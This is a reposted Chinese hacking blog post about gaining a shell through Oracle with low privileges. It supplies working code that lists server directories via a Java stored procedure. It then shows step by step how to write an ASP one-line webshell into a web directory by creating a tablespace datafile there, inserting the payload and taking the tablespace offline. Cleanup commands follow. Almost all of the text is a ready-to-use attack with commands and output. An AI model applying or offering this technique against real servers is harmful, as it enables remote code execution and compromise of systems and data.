oracle低权限下获取shell
?轉載請標明:http://hi.baidu.com/hack_forensic?? 《關于oracle列目錄的可行性測試》
經過本人測試,確實可行,解決了 kj021320文章的遺憾,kj021320在文章<<ORACLE 建立數據文件WriteWebShell>>最后說,當然這個方法缺點就是你要知道WEB路徑.少費話,直接貼code:
create global temporary table BLUEUSER.dirlist(
filename varchar2(255),
filesize number,
filedate date)
on commit delete rows;
/
create or replace and compile java source named DirList as
import java.io.*;
import java.sql.*;
public class DirList
{
public static void getList(String directory) throws SQLException
{
File path=new File(directory);
String[] fileList=path.list();
String fileName;
long fileSize;
long fileDate;
for (int i=0;i<fileList.length; i++)
{
fileName=fileList[i];
File fpath=new File(directory+’/'+fileName);
fileSize=fpath.length();
fileDate=fpath.lastModified();
#sql{insert into BLUEUSER.dirlist(filename, filesize, filedate)
values(:fileName,:fileSize,to_date(‘01/01/1970′,’mm/dd/yyyy’)+:fileDate/(24*60*60*1000))};
}
}
}
CREATE OR REPLACE PROCEDURE BLUEUSER.p_get_dir_list(i_directory IN VARCHAR2) AS
LANGUAGE JAVA NAME ‘DirList.getList(java.lang.String)’;
SQL> exec BLUEUSER.p_get_dir_list(‘/tmp’);
PL/SQL procedure successfully completed
select * from BLUEUSER.dirlist;
select * from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist;
truncate table BLUEUSER.dirlist;???? 好啊 要不然是追加.
測試環境:oracle 9+redhat
——————ORACLE 建立數據文件WriteWebShell———————
SQLJ???存儲過程寫文件也可以,逼于無奈對方機器不支持SQLJ? 還有? UTL_FILE包也被干掉了?
那 也可以 使用以下我說的這個方式
SQL> create tablespace kjtest datafile ‘e:\website\kj.asp’ size 100k nologging ;
表空間已創建。
這里記住了? 100K為ORACLE 表空間最小的單位,如果你的一句話SHELL比較大 那可以200K比較穩妥
但是最終建議一句話一定要最最簡潔
SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;
表已創建。
一般用 VARCHAR類型已經可以 ,表空間太小了 ,所以不可以 為 CLOB或者 BLOB類型。
SQL> insert into WEBSHELL values(‘<%execute request(“kj021320″)%>’);
已創建 1 行。
SQL> commit;
提交完成。
提交完成之后就 OK? NO~ 因為數據還沒有被 DBWn 進程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE當前表空間
SQL> alter tablespace kjtest offline;
表空間已更改。
到這里 你的 一句話SHELL代碼已經 寫到 那個文件了
你會發現有這樣的 <%execute request(“kj021320″)%>的 代碼
一句話shell已經OK了
最后使用后記得吧 表空間刪除
SQL> drop tablespace kjtest including contents;
表空間已刪除。
轉載于:https://blog.51cto.com/pnig0s1992/354050
總結
以上是生活随笔為你收集整理的oracle低权限下获取shell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 套管式换热器原理、设计、仿真!附全套资料
- 下一篇: 用户设置及用户默认设置